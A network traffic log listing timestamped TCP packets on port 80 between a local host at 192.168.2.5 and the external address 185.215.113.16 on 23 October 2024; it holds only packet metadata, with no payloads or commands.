Oct 23, 2024 15:49:21.287997007 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.288032055 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.288038969 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.288079023 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.288170099 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.288203001 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.288214922 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.288237095 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.288244009 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.288269997 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.288363934 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.288398981 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.288410902 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.288434029 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.288436890 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.288470030 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.317842007 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.317881107 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.317914009 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.317919016 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.317949057 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.317966938 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.318145037 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.318180084 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.318195105 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.318212032 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.318224907 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.318253994 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.319302082 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.319345951 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.319349051 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.319385052 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.319390059 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.319422960 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.359117985 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.359133959 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.359148979 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.359173059 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.359198093 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.359694004 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.359711885 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.359728098 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.359745979 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.359767914 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.359776974 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.359791994 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.359807968 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.359817982 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.359839916 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.359857082 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.360186100 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.360202074 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.360217094 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.360225916 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.360254049 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.360254049 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.360389948 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.360431910 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.361341000 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.361357927 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.361377001 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.361394882 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.361394882 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.361413002 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.361449957 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.361488104 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.361675024 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.361690998 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.361716032 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.361730099 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.407140970 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.407179117 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.407212019 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.407211065 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.407274008 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.407274961 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.408092022 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.408124924 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.408138990 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.408162117 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.408189058 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.408195019 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.408210039 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.408230066 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.408236980 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.408265114 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.408269882 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.408303976 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.439018011 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.439037085 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.439053059 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.439116001 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.439148903 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.439165115 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.439183950 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.439198017 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.439203024 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.439213991 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.439225912 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.439229965 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.439244986 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.439249992 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.439275026 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.477956057 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.478025913 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.478032112 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.478059053 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.478069067 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.478096008 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.478099108 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.478135109 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.478137016 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.478171110 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.478494883 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.478538990 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.478545904 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.478581905 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.478585005 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.478616953 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.478620052 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.478652954 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.478655100 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.478691101 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.478938103 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.478977919 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.478988886 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.479023933 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.479027987 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.479058027 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.479059935 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.479093075 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.479099989 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.479130983 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.480463028 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.480505943 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.480516911 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.480552912 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.480555058 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.480591059 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.480622053 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.480654955 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.480660915 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.480690002 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.522051096 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.522130013 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.522341967 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.522429943 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.524738073 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.524785042 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.524800062 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.524816036 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.524847984 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.524873972 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.525137901 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.525152922 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.525167942 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.525172949 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.525222063 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.525316954 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.525331020 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.525352001 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.525368929 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.525544882 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.525578976 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.525598049 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.525633097 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.555084944 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.555103064 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.555118084 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.555227995 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.556046963 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.556104898 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.556107044 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.556121111 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.556144953 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.556162119 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.556845903 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.556895971 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.556905985 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.556912899 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.556941032 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.556966066 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.596894979 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.596927881 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.596941948 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.596985102 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.597017050 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.597881079 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.597923040 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.597937107 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.597938061 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.597954988 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.597974062 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.597985983 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.598001003 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.598016977 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.598018885 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.598032951 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.598050117 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.598290920 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.598331928 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.598340988 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.598355055 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.598373890 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.598378897 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.598390102 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.598396063 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.598411083 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.598414898 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.598431110 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.598448038 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.599638939 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.599684000 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.599693060 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.599699974 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.599720955 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.599725008 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.599737883 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.599741936 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.599755049 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.599781036 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.643677950 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.643728018 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.643743038 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.643748999 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.643781900 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.643933058 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.643968105 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.643992901 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.644010067 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.644025087 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.644027948 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.644047022 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.644062042 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.644345045 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.644382000 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.644496918 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.644529104 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.674207926 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.674232006 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.674248934 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.674258947 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.674295902 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.674295902 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.674892902 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.674921036 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.674932003 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.674937963 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.674979925 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.675736904 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.675771952 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.675781012 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.675796986 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.675817966 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.675827980 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.675831079 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.675848007 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.675863981 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.675879955 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.716238976 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.716264963 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.716295958 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.716314077 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.716444969 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.716479063 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.716490984 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.716523886 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.716681957 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.716697931 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.716712952 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.716716051 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.716731071 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.716744900 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.716747046 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.716762066 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.716778040 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.716778040 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.716792107 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.716813087 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.718175888 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.718190908 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.718214989 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.718231916 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.719891071 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.719908953 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.719928980 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.719944000 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.719981909 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.719997883 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.720012903 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.720016003 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.720031977 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.720036030 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.720056057 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.720072031 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.720240116 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.720277071 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.720335007 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.720350027 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.720365047 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.720371008 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.720388889 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.720407963 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.764056921 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.764075041 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.764090061 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.764138937 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.764374971 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.764393091 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.764403105 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.764410019 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.764410973 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.764426947 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.764436960 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.764442921 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.764452934 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.764471054 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.764487028 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.804948092 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.805059910 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.805152893 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.805171013 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.805186987 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.805198908 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.805223942 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.805347919 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.805365086 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.805382967 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.805407047 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.805524111 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.805541039 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.805557013 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.805558920 CEST	49990	80	192.168.2.5	185.215.113.16
